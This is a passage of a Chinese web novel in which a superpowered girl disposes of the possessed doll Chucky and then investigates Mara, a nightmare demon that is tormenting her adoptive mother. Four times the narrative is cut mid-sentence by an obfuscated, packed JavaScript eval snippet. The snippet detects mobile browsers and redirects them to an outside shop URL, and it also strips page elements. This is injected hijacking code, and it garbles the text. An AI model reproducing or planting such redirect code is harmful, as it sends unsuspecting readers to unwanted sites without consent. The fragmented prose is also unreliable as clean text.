恰吉不管不顾地继续控诉:“你从进到这个家就知道是我在背后教唆亚当,但是你没有管,你放任我去挑唆亚当排挤你,放任亚当去做错事。我就说,一个七岁的孩子怎么可能拉得住一个五岁的孩子!” 恰吉越说越激动:“后面我鼓动亚当离家出走你也知道,你甚至是期待着事态这样发展!甚至抓取者盯上他也是你故意引导的!因为只有他陷入危险,你才能以救世主的姿态从天而降解救他!让他彻底依赖你!你的目的一直都是这个,你要亚当的爱!” 啪嗒。 科蒂斯放下了梳子,金色的卷发已经被她梳的整整齐齐,又顺又亮,漂亮极了。 她起身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385833|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身穿的红色连衣裙打了个璇儿,犹如一朵盛开的花。脚上的深棕色复古小皮鞋在地上扣出哒哒的轻响。 恰吉噤了声,后知后觉自己不该招惹这位摸不清底细的存在。 “看我,”科蒂斯牵起裙角,行了一个屈膝礼。“我好看吗?” 恰吉不知道她为什么会突然问出这个问题,但直觉告诉他最好顺着她。 恰吉:“好看。” 听见回答,科蒂斯冷着的脸才勉强露出一抹不达眼底的笑意。 “我的爸爸妈妈对我这么好,我爱他们,他们爱我。可是,亚当却讨厌我,这真的很让我头疼。但我又不能直接除掉他,家人之间不可以这样做,所以,我只好想办法改变他的态度。” 至于被抓取者绑架,那倒不是她有意引导,纯属是亚当太过倒霉。 不过她的确提前知道,因为,妈妈一直跟着亚当呢,不会真让他出事。 她歪头,唇角挑起一抹意味不明的弧度:“共享秘密才能增进情感,我记得你这么说过。嗯…我想从此以后,亚当将会和我亲密无间。” 女孩儿突然向后倒在床上,她双手合十,温顺地闭上双眼,仿佛是在虔诚祈祷。 “一切都是为了家人。” 恰吉疯狂冒冷汗。 上帝才知道他怎么成玩偶了还能冒汗。 这小姑娘精神绝对有问题,真是个可怕的人啊。 心里正泛着嘀咕,他突然被抓起来。 科蒂斯看着他,神情冰冷:“至于你,现在已经没有了价值。” 恰吉开始颤抖。 他大喊大叫:“不!拜托!再给我另一条路吧!” 他灵机一动,说道:“我也可以成为你的家人!我可以做你的狗!你让我干什么就干什么!家人自然也包括宠物的,真的!” “呵。” 头顶忽然传来一声冷笑。 女孩儿微抬眉眼,表情嘲弄:“不是所有人,都有资格成为我的家人,而你,伤害了亚当,更不可能。” 她松开了手,但恰吉并没有掉到地上。 一双枯瘦如柴的细长手掌接住了他。 几只黑色的飞蛾扑到恰吉脸上,他抬头,与一张没有血肉的青灰鬼脸对上。 恰吉:“噢,Fuck。” 妈妈尖锐的手指插进了玩偶小小的身体里,恰吉发出尖叫。 灯光摇曳,倒映在墙上的,却是一个成年男性的影子。 那影子从头顶开始,被缓缓撕成两半。 碎成两半的玩偶掉落在地,再也不会发出任何声音。 嗯?居然不绑定也可以查看他的过往? 科蒂斯发现系统弹出了提示。 她查看起他的生平。 【姓名:查尔斯·李·雷(恰吉)】 【状态:玩偶(已死亡)】 【生平简介:连环杀手,被警方追捕围剿,临死前用巫术将自己的灵魂转移到“好孩子”玩偶恰吉中。】 啊,原来只是个会点巫术的普通人而已,难怪这么弱。 科蒂斯扫吧扫吧,将碎片打包丢进了垃圾箱。 后来亚当想起来,还向她要过恰吉。 只是被她随口扯了个理由搪塞过去。 而在发现恰吉真的没有再出现过后,亚当也没有提过这件事。毕竟他也不是真想要回恰吉,只是怕那个邪恶的小东西又伤害他妹妹而已。 好在,万事平安。 11. 第 11 章 凌晨两点,玛莎再次从睡梦中惊醒。 她掀开被子,轻手轻脚地下了床,以免吵醒身旁的丈夫。 来到客厅,打开灯,从水龙头给自己倒了杯水,又拿来助眠药一口吞下,顺着凉水囫囵吞下去。 玛莎疲惫地叹了口气。 她已经夜间惊醒很多天了。 自从亚当遭到抓取者的绑架,她就开始出现失眠多梦的状况,哪怕去看了医生也不见好,只能用药物辅助睡眠。 玛莎没有将自己的情况告诉给克里斯,她不想让他担心,更不想让孩子们担心。 可现在,药物的作用也慢慢减退。 每每深夜,她总是在噩梦中惊醒。然后再吃上一片药,回床上等着闹钟响。 或许得想想别的办法了。 玛莎想到朋友推荐给她的那个互助会。 朋友说,她这属于心理问题,因为亚当的事情,她一直没有停止责怪自己。如果能在一个地方全部倾诉出来,心里或许会好受很多。 “妈妈?” 身后传来声音。 玛莎转头,看见自己乖巧的小女儿穿着柔软的粉色睡衣,踩着毛茸茸的兔子拖鞋,一边打哈欠一边揉着眼睛走来。 “噢,honey。”她抱起科蒂斯,来到沙发上,语气温柔。“我吵醒你了吗?” 科蒂斯摇头:“我渴了,下来喝水。” “稍等一下。”玛莎亲了下科蒂斯的额头,又为她披上毯子,这才去从恒温器中给她接了杯温水。 科蒂斯捧过杯子,小口小口地喝起来。 玛莎的眼神柔软得像是塞纳河水。 她能明显地感觉到,科蒂斯真正地在融入这个家,她表现的越来越像一位普通的小女孩。 “不要喝太多,不然等睡着之后又会起来上厕所。” “噢。”科蒂斯听话地放下,她伸了个懒腰,状似随口一问。“妈妈,你怎么也下来了?” 玛莎微怔,说:“和你一样,也有些口渴。” 科蒂斯眨了眨眼睛,目光从桌上玛莎还没来得及收好的药物上掠过。 “你睡不着吗?” 玛莎不得不感叹孩子们的天然直觉:“Yeah。” 她舒了一口气:“我做了一个糟糕的梦。” 科蒂斯:“是什么?” “我不记得了。”玛莎说,眼神却不自觉地放空了几秒。“别担心宝贝,我没事。这只是大人的小毛病,别告诉爸爸好吗?这是我们的小秘密。” 科蒂斯点点头。 她亲昵地靠在玛莎怀里,说:“下次你还睡不着的话,可以来我的房间,我会唱摇篮曲。” “噢,真厉害,谢谢你我的小太阳花,我下次一定会的。”玛莎从不吝啬自己的夸赞。 “小太阳花?”科蒂斯疑惑歪头。 玛莎笑了笑,脸颊贴着科蒂斯的头顶:“一个小爱称。瞧,太阳花很漂亮,花语是勇敢和坚韧,就像你一样,亲爱的。” 科蒂斯垂着头,长长的睫毛下掩着的蓝眸涌现出不一样的色彩。 “我喜欢你这么叫我。”她小声说道。 “我也喜欢。”玛莎说,她又亲了亲科蒂斯的额头。“好了,去睡觉吧,太晚了。” “好的妈妈,明天见。”科蒂斯迷迷糊糊地回应,踩着拖鞋上了楼。 刚经过楼梯拐角,她脸上的睡意便全部消失。 科蒂斯隐匿身形在楼上等了一会儿,确认玛莎身边没有任何脏东西,真的只是睡不着后,才放心地回了房间。 第二天下午,等克里斯工作回来之后,玛莎放心地将孩子们交给他,自己则去了朋友推荐的互助会。 她在会上分享了自己的经历,也听了别人的分享。朋友说的没错,说出来似乎的确要好很多。 晚上回到家,在照顾孩子们睡觉后,她吃下药,祈祷自己能一夜无梦到天亮。 凌晨一点。 玛莎再度睁开眼睛,她在心里叹了口气。 准备认命起床吃药时,却惊恐地发现自己无法动弹。 她好像成了瘫痪的病人,全身都失去知觉,但意识却格外清醒。 发生了什么? 她怎么了? 玛莎转动眼珠,看向四周。 房间还是那个房间,但不知是不是因为黑暗,玛莎觉得格外渗人。 克里斯还睡在她旁边,玛莎想开口叫他,却怎么都张不开嘴,她有些崩溃。 再一眨眼,玛莎发现一个黑影站在窗帘后头。 黑影的身影极其瘦长、佝偻,四肢细长如树枝,明显不是人类。 貌似是察觉到玛莎正在看着自己,黑影动了动,僵硬地向前一步,一张狭长凹陷的鬼脸映在了薄薄的窗帘上。 玛莎瞳孔乱颤,下一秒,她猛吸了一大口气,从床上弹坐起来。 “咳咳咳!” “怎么了?”克里斯被吵醒,打开床头灯,坐起来为玛莎顺气。 玛莎摇摇头:“没事,只是做了个噩梦。” 克里斯:“什么噩梦?” “我梦到了…”玛莎欲言又止。“没什么,只是个愚蠢的噩梦而已。” 克里斯:“OK,需要我为你倒杯热牛奶吗?” “不用,亲爱的。”玛莎重新躺下,强迫自己闭上眼睛。“睡吧。” 虽然感到奇怪,但克里斯也没有多想,关上灯继续睡。 起初,玛莎以为那只是一次偶然的噩梦,并没有将它放在心上。 可是一连两天,每次睡觉她都会梦到自己全身僵硬、动弹不得,只能眼睁睁看着那个瘦长的女鬼,在梦中离自己的距离越来越近。 她逐渐看清对方的模样。 女鬼皮肤惨败,毫无血色,穿着一身破烂的米色罩袍,衣料粗糙、磨损严重,上面还有大片大片像干涸的血一样的污渍。 她看不清脸,一头黑色的、乱糟糟的半长头发垂下来,遮住了她的面孔。 但是莫名的,玛莎却觉得自己透过发丝,看见了对方那双冰冷空洞的眼睛。 玛莎偷偷去过教堂求助神父,也尝试过加大药量,可是都毫无作用。 睡不好觉,她的精神越来越差,差到就连亚当都看出来不对劲。 有一次,她甚至吃午餐的时候打起了盹。 克里斯终是忍不住担心,选择跟玛莎摊牌好好谈谈。 “不,我真的没什么事。”玛莎叹了口气。“只是个愚蠢的噩梦。” 克里斯眉头紧皱:“连着做了两天?” 玛莎咬着嘴唇,无法反驳,可却也倔强地不肯妥协。 “噢,亲爱的。”克里斯揉了揉鼻梁,恳切询问。“你是还在因为亚当的事而自责吗?” “不,”玛莎下意识地反驳,她顿了顿,继续摇头。“不,当然不是,我是梦到了别的。” 克里斯关切道:“告诉我。” 玛莎犹豫半晌,终是将梦到女鬼的事说了出来。 克里斯一时之间不知道作何回应。 玛莎扭过脸:“我都说了这就是个愚蠢的噩梦。” “噢,亲爱的。”克里斯吻了下她的唇角。“我们去医院看看吧,你不能这样下去。” “我尝试过了。”玛莎叹息。“可是还是没什么作用,医生只会让我吃更多的药。” 克里斯想了想,说:“我朋友认识一位特别优秀的心理医生,我们去找他看看?” 玛莎摇头,抓了抓头发:“再等几天吧,看我状况会不会加重,如果加重了我就听你的,去看那位医生。” 克里斯:“好。” 他心疼地将妻子搂进怀里。 玛莎:“别告诉孩子们,尤其是科蒂斯,我不想让他们担心。” 克里斯:“好。” 很可惜,科蒂斯躲在楼梯转角,早就偷听完了一切。 她记得前几天玛莎的状态还没有这么糟糕,这短短几天里,一定是发生了什么不同寻常的事。 她得查查看。 等第二天,玛莎再次出门时,科蒂斯拜托亚当帮自己打掩护,她要悄悄跟着玛莎出门。 亚当现在对自己妹妹的话是百分百信任,让做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385834|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么做什么,因此也是非常配合地纠缠起克里斯,不让他发现科蒂斯不见了。 科蒂斯一路跟着玛莎来到互助会现场。 她站在窗外,瘦小的身形缩在墙角的阴影处,不细看根本看不见她。 科蒂斯的视线在互助会中巡视一圈,并没有发现什么特别之处。 这个互助会也都是些失眠患者互相分享经验,并坦诚自己失眠的原因。 会上还有一位专业医生帮他们逐个分析失眠原因。 科蒂斯听了好一会儿,没有发现值得注意的地方。 就在她要离开时,一位戴着墨镜的男人开口了。 “我最近总是看见一位恶灵。” 起先他一直沉默,视线也没有任何移动,导致科蒂斯以为他是盲人,可现在知道了他不是。 那这个人在晚上戴墨镜的原因就很值得人探究了。 男人夹着嗓子,害怕到声音发抖:“以前只是睡着了会在梦里看到,可现在,我醒着也能看见。” “她正站在角落里,看着我,一直看着我…” 怪异的话语让会上的人不约而同皱起了眉。 医生宽慰他,这只是睡眠不足产生的幻觉而已。 “噢!看在上帝的面子上,得了吧!”角落里,一个中年男人暴躁地站起来,冲到墨镜男面前。“你这是被玛拉诅咒了!” 玛拉? 科蒂斯抓住了这个名字。 里头中年男人还在说:“醒着都能看见说明你已经进入了最后的阶段,记住,千万不要睡觉,否则你就会死。” 作为唯物论主义者,医生自然不会将两人的说辞采纳,他坚称只是睡眠不足而已。 可当男人一把扯掉墨镜男的墨镜时,医生还是一愣。 因为那双眼睛变得通红,所有的眼白都被染成红色。 他磕磕绊绊地用科学解释,才稍稍打消其他人的疑心。 而科蒂斯默默盯着墨镜男,一直到互助会结束,她跟了上去,并神不知鬼不觉钻进了他的后备箱。 等车刚停下,科蒂斯又神不知鬼不觉地下来,躲到一旁。 她这才发现,墨镜男开着车并没有回家,而是来到了一个偏僻教堂。 可奇怪的是到了教堂门口,他却没有进去,反而神情紧张地看着一块空地,握着十字架,念叨着什么。 科蒂斯看着他的精神逐步崩溃,那枚十字架连同墨镜被一起扔在地上。 他从车上提下一桶汽油,浇了满身。 科蒂斯微顿,下一秒,火光冲天,墨镜男燃烧起来。 啧,现在可不是死的时候,她还没得到关于玛拉的线索。 科蒂斯恼火地找来消防栓,灭了墨镜男身上的火。 可惜的是他的身体已经严重烧伤,但幸好还有一口气。 科蒂斯又报了警,叫了救护车,准备等墨镜男能说话后再来找他。 可当她转身时,却发现一个人影不知道什么时候站在她身旁的树后。 灯光黯淡,加上人影乌黑,如果不仔细看根本看不见对方。 玛拉? 科蒂斯有了这个猜测。 她与对方平静地对视着。 树后的人影忽然伸长了胳膊,那是一条完全不成比例的枯瘦胳膊,关节粗大,一直向前伸着,似乎想触摸科蒂斯。 科蒂斯突然发现自己动不了了,全身上下只有一双眼睛能转动。 她很确定自己没有做梦。 那么就只可能是玛拉的能力影响。 她并不慌张,在下一个眨眼后,她发现玛拉离自己更近了。 随着每一次的眨眼,玛拉都离自己近一点,一直到对方触摸到自己。 那双冰冷干瘦的手抚上她的脸颊,来回滑动。 科蒂斯猜不透对方的目的,也不好轻举妄动。超能力只能对实体起作用,她考虑着要是玛拉真的动手,她把旁边那个要寻死的男人拉过来能否挡下。 就在她以为玛拉要动手时,恍然间,她突然恢复了身体的掌控权。 而玛拉也已经消失不见。 12.第 12 章 玛拉没有伤害自己? 为什么? 是不能?还是不想? 科蒂斯思考着。 远处,救护车的声音响彻街道。 最后确认墨镜男还能撑住,科蒂斯便没有多留,转身离开。 她没有先急着回家,而是又从互助会的资料里查到那个说出玛拉一次的中年男人的地址。 男人名叫道吉,独居。 科蒂斯找上他的家,这个由便宜木板做成的房子连防盗警报都没有。 科蒂斯很轻松地就溜了进去。 道吉没有睡觉,或者说他不敢睡,坐在电视机前,睁大眼睛盯着无聊的节目,熬的双眼满是血丝。 但是,科蒂斯注意到他手边放着一个闹钟。 如果他不能睡觉,那么闹钟是用来做什么的? 娇小的女孩儿幽灵一样飘进了里面的房间,她瞧见了墙上的写字板,上面钉着不少人的照片,一旁写着照片主任的相关信息。 而在写字板最醒目的位置,用红色马克笔写着醒目的一个名字——玛拉。 科蒂斯确定,这个人一定知道某种内幕。 沙发上,双目通红的道吉终究还是没能抵抗的住睡意,打架的眼皮渐渐合上,意识涣散。 “谁是玛拉?” 陌生的声音在道吉耳边炸响,他猛得清醒过来,后怕的同时第一时间摸出手枪对准身后。 一个奇怪的女人站在他的房间门口,看上去年纪不大,瘦弱、高挑,双腿修长,皮肤白皙,穿着一件宽大的红色连帽棒球服,格外显眼。 她戴着连帽衫的帽子,上面又加了一顶黑色棒球帽,帽子压的很低,几丛乌黑发丝从旁边溢出来,遮住她的脸颊,让人看不清她的容貌,只能瞧见对方略显苍白的嘴唇和一个尖尖的下巴。 “你是什么人?”道吉握着枪,不敢有丝毫地松懈。“怎么敢闯进来!滚出去!不然小心我射爆你的脑袋!” 女人拿出一样东西,正是他粘在写字板上的墨镜男简报。 “玛拉是谁?” 她又问了一遍。 声音压的很低,似乎是故意想改变自己原本的音色,却也让她的声音听起来格外冷漠。 道吉惊疑不定:“你问这个做什么?” “我需要帮助。”女人开门见山。“我的家人出现了和这个男人一样的状况,我不知道是什么原因,而你貌似很了解。” 道吉稍作回忆:“你出席了今晚的互助会?可我怎么没见过你?” “我并没有出席。”她说。“但我的确看到了事情的全经过,并且我还知道这个男人离开会场之后就去了教堂附近点火自焚。” 道吉呼吸一滞。 “不用担心,我救了他一命。”女人接上一句。 “呵,”道吉嗤笑一声。“救下他只是暂时的。他迟早会死,只要睡觉就一定会死。” 女人伸出手,将墨镜男的照片向前递:“告诉我全部。” 道吉放下了枪,但是没有完全放下戒备:“凭什么?” “你也被玛拉盯上了,不是吗?我的家人也是。”女人说,语气平平,听不出温度。“合作调查不是能更快找出真相,增大存活率吗?” 道吉犹豫半晌,终是妥协。 他不得不。 他想活下去。 道吉:“所以怎么称呼你?” 女人顿了几秒,才开口说道:“你可以叫我K。” 道吉回到房间,向K展示自己的全部成果。 “盯上我们的是北欧神话中一个叫做玛拉的恶魔。”道吉说道。“传说她是冥界女神海拉的仆从,专司噩梦,压迫折磨睡眠中的生者。” “玛拉常常会在深夜潜入卧室,压上熟睡着的生者身体,制造极度逼真的噩梦,让其精神崩溃。而直到生者醒着也能看见她时,就是她要出手带走生者灵魂的时候。” “所以,如果你被玛拉盯上,绝对不能进入深度睡眠!”道吉双眼睁的极大,死死地盯着站在不远处、藏住自己面容的K。 “不用担心。”K好似看穿了他的想法。“我没有被玛拉标记。” “那就好,幸运儿。”道吉这才继续说。“根据我的调查,玛拉的攻击一共分为四个阶段。” “第一阶段,生者睡着后会做清醒的梦,他会全身僵硬,就跟瘫痪了一样,但意识是清醒的,他会瞧见玛拉的身影躲在房间的角落窥视他。” “第二阶段,生者的眼睛里面会出现出现一个标记。”说着,道吉扒开自己的下眼睑,一小块红色印记正在他的瞳仁下方。“这是玛拉给你打上的印记,只要打上,你就不可能跑了。” “第三阶段,当你做清醒梦的时候,会发现原本窥视你的玛拉能触碰到你。这表明她已经从梦境侵入到了现实。” “第四阶段,也就是最终阶段,你的双眼会变得如血一般通红,而这个时候只要你一睡着,玛拉就会出现,杀了你,带走你的灵魂。” 也就是说,一直到第四阶段,玛拉的本体才会出现。其他时间看到的,都是梦中的幻觉。 K默默地想。 “这就是我的全部研究。”道吉突然重重拍上桌子。“但我还是没有找到我们这些被盯上的人的联系。” 他指向写字板上最早的一人:“这是高桥,据我所知他是第一个见到玛拉的人,可惜他已经死了,不然我们还能得到更多线索。” 道吉的头重重地垂下去,颓丧道:“我的时间不多了,我希望你的家人还有足够时间支撑你找到真相,K,我已经倾尽所有。” 他将一切都交给了这个神秘的女人。 “希望你能完成我没做到的事。” “我还不想死,如果你能破除诅咒,以后你让我干什么我都愿意。” K没有说话,那张偏薄的唇瓣掀起一抹浅浅的弧度。 “合作愉快,以后我还会来找你的。” “等等,我给你我的号码。”道吉转身找来纸笔,刚写上号码转身时惊讶发现,女人已经不见了。 屋内静悄悄的,只有大门敞开了一点缝隙,冷风从外面灌进来,让道吉缩了缩脖子。 街角的黑暗中,科蒂斯捂着鼻子蹲下,鲜红的血液从她的指缝间漏出。 她靠着墙,喘着粗气,额头一片细密的汗。 噢,真该死,不该轻易使用控制大脑的能力的。 没错,自称为K的神秘黑发女人,正是科蒂斯的伪装。 她用超能力控制了道吉的部分大脑区域,令自己的形象在他眼中产生改变。 简单来说,就是给他制造了一个幻觉。 说起来容易,但实际做起来却很难,甚至危险程度极高。 人类的大脑是世界最精密的仪器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393015|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,强行控制需要消耗大量的能量,甚至一不小心还会遭到反噬,哪怕是公司里的那些天赋高的魔女也不会动用这个能力。 现在的她拼尽全力,也只能针对一个对象,控制五分钟而已。 唉,没办法,谁让她现在的形象太不适合露面呢。 她一出现,道吉绝对会报警送她去警局。不然他自己就会进警局,毕竟,大晚上,一个五岁的小姑娘独自出现在一个单身大汉的家里,不管他怎么解释都说不过去。 蹲在墙角缓了好一会儿,科蒂斯才扶着墙慢慢起身。 小姑娘用外套袖子擦了擦鼻子,确定没流鼻血了之后才往公交站的方向走。 她贴着一个老奶奶,装作她的孙女上了回家的公交。 米勒家。 亚当汗流浃背,因为现在他得应付爸爸妈妈两个人。 这真是太难了,马上就要到他们睡觉的时间,而科蒂斯到现在都还没有出过门,怎么想都不合常理! 亚当压力山大,但为了亲爱的妹妹,他必须得撑住。 当再一次借口房间里有老鼠,亚当把想往科蒂斯房间去的爸爸妈妈拉到自己房间后,夫妇二人总算严肃起来。 克里斯:“你今天这是怎么了亚当?你是有事瞒着我们吗?” 亚当捏着手指,心虚地不敢与父母对视:“没有。” “亚当?”克里斯拔高了声调。“我们做过承诺?不会再说谎的?” 亚当转了转眼睛,还是没开口。 他答应了妹妹要帮忙,就不能搞砸了。 可是科蒂斯再不回来,他就真的要撑不住了。 好在,隔壁的房间终于传来动静。 女孩儿端着个空盘子来到他的房间。 “爸爸妈妈,还有吃的吗?我好饿。” “当然,宝贝。”两人没有起疑,领着她下楼。 科蒂斯悄悄回头,朝亚当眨了眨眼睛。 亚当嘿嘿一笑,给自己竖了个大拇指。 玛莎最快速度煮了份多酱汁的意大利面,还配了肉丸和蔬菜。 科蒂斯拿起叉子吃起来,一边吃一边不着痕迹地观察玛莎。 几天没睡好觉,玛莎明显面容疲倦,精神状态也不太好,可是在孩子们面前,她仍旧撑着最好的一面。 但科蒂斯知道,她这样下去不行。再让玛莎这么被玛拉纠缠下去,要么她被玛拉杀死,要么跟那个墨镜男一样,受不了折磨自杀。 现下只有两条路可走。 要么杀了玛拉,要么找到玛拉标记玛莎的原因,破除它。 对于前者,科蒂斯猜测只有当玛拉以本体来到现实世界,也就是第四阶段时,她才有可能被杀死。 只是根据传说,玛拉的力量很强,科蒂斯不确定伊迪丝妈妈能不能赢过她。 没有十足的把握,她不想让伊迪丝妈妈受伤。 而后者,科蒂斯还得继续调查。 “噢。”玛莎捂住右眼,难受地叫了一声。 科蒂斯:“怎么了妈妈?” “没事。”玛莎揉了揉。“眼睛里好像进了东西。” “我来帮你。”科蒂斯放下叉子,擦干净嘴唇。 她踮起脚,微凉的手指撑开玛莎的眼睛。 突然,她愣住。 在玛莎右眼的瞳仁下方,一小块鲜艳的红色印记赫然在目。 13.第 13 章 “亚当,我今晚需要你的帮助。”科蒂斯说。“但任务可能会很难。” 床上,两个可爱的小家伙对立坐着,避开大人们,开启自己的秘密会议。 亚当绷紧了软乎乎的脸蛋:“你可以完全信任我,科蒂斯。” 科蒂斯微翘起嘴角:“好。” “我需要你和我一起,今晚让妈妈不睡觉。” “不让妈妈睡觉?”亚当不理解,但哪怕不清楚实际情况,他也选择无条件地相信科蒂斯。“我能做到,放心,我会一直撑住的!” 科蒂斯:“拜托你了,亚当。” 于是,当整个社区都陷入睡梦中时,科蒂斯他们开始行动了。 身为行动的发起者,科蒂斯理所应当地打起头阵。 在掐算到玛莎睡了二十分钟时,她便急吼吼地冲进房间,摇醒了她。 “妈妈妈妈,快醒醒,我房间里有怪物。”女孩儿的声音又急又怕,立刻惊醒了玛莎。 “什么?怎么了?” 玛莎睡眼惺忪地坐起来,连带着克里斯也被吵醒。 “我房间里有怪物!”女孩儿又重复了一遍,眼眸里含着泪光。 “什么?我们去看看。” 夫妇二人并没有因为孩子的童言童语就选择忽略。 他们跟着科蒂斯回到她的房间,打开灯在里面找了好一会儿,什么都没有发现。 “亲爱的,你说的怪物具体是在哪个位置看到的?”克里斯轻言细语地问道。 科蒂斯:“在床底下!” 克里斯趴下身子瞧上一整圈,还是什么都没有。 “好了,什么都没有,爸爸妈妈已经检查过了,安心睡吧。”玛莎揉了揉科蒂斯的发顶,温柔说道。 “对不起,爸爸妈妈。”科蒂斯背着双手,乖顺地说。 “这又不是什么过分的请求。”玛莎和克里斯一人亲了一口科蒂斯。“你害怕了,来找爸爸妈妈帮忙不是很正常吗?好了,现在你真的该睡了,宝贝。” 科蒂斯:“嗯!” 等两人回到自己的房间,亚当的房间又悄悄打开一条缝。 科蒂斯朝他比了个手势,亚当蓄势待发。 又二十分钟后,亚当也急匆匆地来到玛莎房间,晃醒了她。 “妈妈妈妈,不好了!咱家水龙头坏了!” 两人又醒了过来,打起精神跟着亚当下了楼。 “你们瞧,就是这个,我口渴下来喝水,喝完就发现关不上了。”亚当仰着小脸,看着委屈极了。 “没事,让爸爸来看看。”克里斯麻利地撸起袖子准备开干,顺手关上水龙头。 然后就尴尬地发现顺利关上了。 克里斯:“?” 亚当心虚地退后一步。 好在两人也并没有多想。 玛莎:“应该是老旧了。” 说着,她打了个哈欠。 “你看起来累极了,回去睡吧,亲爱的。”克里斯说,他伸手揉了把亚当的头。“你也回去睡,小伙子。” 亚当:“哦哦,好的。” 屋内再度安静下去二十分钟。 接着,科蒂斯再一次推开了两人的房门。 睡觉期间被一而再再而三地打断,再温柔的人都得发脾气,玛莎和克里斯自然也不例外。 他们强忍着心里的烦躁,跟着科蒂斯去了她房间解决问题。 这一回是床头的小夜灯坏了,一直亮着灭不掉。玛莎重启了一下,这才恢复正常。 又二十分钟过去,亚当来了。 克里斯捂住脸哀嚎一声:“亲爱的,我明天还得上班,能麻烦你去帮忙解决一下吗?” 玛莎认命地哼了一声。 而克里斯也认识到,自己今晚如果继续留在房间,那大概是睡不好了。索性又找了床被子出来,搬到楼下的客厅睡去了。 而这边,在帮亚当解决完麻烦后,玛莎栽在床上,眼皮子刚合上,耳边便又传来孩子们的呼唤声。 就这样一直持续到凌晨三点,玛莎的睡意也全部没了,放弃地坐在床上,拿本书看着。 “你觉得我们成功了吗?”亚当的眼睛已经完全睁不开了,身子也东倒西歪,但他还是坚持着没睡过去。 作为一个普通的七岁孩子,他能坚持到凌晨三点已经是奇迹了。 科蒂斯觉得心脏好像被什么东西击中了一样。 她戳戳亚当的脸:“成功了,睡吧哥哥。” 话音刚落,亚当扑通一声倒在床上,不过短短几秒就开始打起小呼噜。 科蒂斯为他盖好被子,坐在一边,时刻关注玛莎的状态。 接下来的五个小时里,只有玛莎睡着超过二十分钟,她都会及时出现叫醒她。 作战很成功,唯一的缺点是科蒂斯眼底下挂着两大团乌青,在她白嫩的脸庞上极其显眼。 一晚上没睡好,玛莎同样精神不济,但作为成年人,她还能给自己倒上一杯浓缩咖啡强打精神。而科蒂斯就不行了,孩子的身体可受不了咖啡因。 至于亚当,他成功错过了自己的早餐,并试图睡到中午。 “科蒂斯,”等脑子稍稍清醒后,玛莎也反应过来昨晚的不同寻常。不说别的,两个孩子跟约定好了似的,每隔一段时间就会来叫醒自己,仿佛目的就是不让她睡觉。“你有什么瞒着我的吗?” 科蒂斯沉默。 科蒂斯表演起犯困,并装作一个不经意地倒在玛莎怀里。 “噢。”玛莎心里软的不像话,也不想再去探究。 她把困得不行的小女孩儿抱回床上,自己则开始打扫起家务。 科蒂斯睁开眼,让伊迪丝妈妈帮忙注意玛莎的状态后,便又偷偷离开了家。 一直不让玛莎睡觉不是个好办法,她必须加快调查。 昨晚救护车到教堂的时候,她注意了是哪个医院派出的,今天她便是要去那里,找到幸存下来的男人,问出更多线索。 溜进医院,躲开监控和医护人员,找到躺在重症室里的男人。 男人全身大面积烧伤,溃烂部位化成脓流在床单上,如果不是持续打入吗啡,他大概会被活活痛死。 反锁好病房的门,科蒂斯叫醒了男人。 墨镜男醒来一眼便看到了站在自己床头的神秘女人,身姿纤细高挑,穿着一件很显眼的大红色连帽棒球服。 只是戴着棒球帽和口罩,看不清脸,只能让人瞧见一双黑色的眼睛。 他急促地呼吸着,有些害怕地开口:“你是谁?你想做什么?” 声音闷在氧气罩里,听不太清。 “我是昨晚帮了你一把的人,你可以叫我K。” 科蒂斯一边回答他的问题,一边伸手拿下他的氧气罩。 墨镜男喉咙肿顿时发出漏气一般地喘息声,等了好一会儿,他才逐渐适应,平缓呼吸。 “你是…昨晚叫来救护车的人?”墨镜男的声音很是虚弱,仿佛随时都会断掉。“为什么…你为什么要救我…你不该救我…” 他哀嚎着,埋怨科蒂斯的多管闲事。 科蒂斯粗暴地打断他:“你是什么时候开始见到玛拉的?” 突然提及玛拉的名字,墨镜男浑身不可控制地颤抖。 科蒂斯见状,调快了镇静剂的输液速度。 平静下来后,墨镜男迷迷糊糊地回答。 “我…我不记得。只是有段时间,我睡不着,怎么都睡不着,看医生、吃药都不管用,我在网上看到了失眠互助会的分享,觉得可能会有用,就去了。” “可是没用。”墨镜男忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 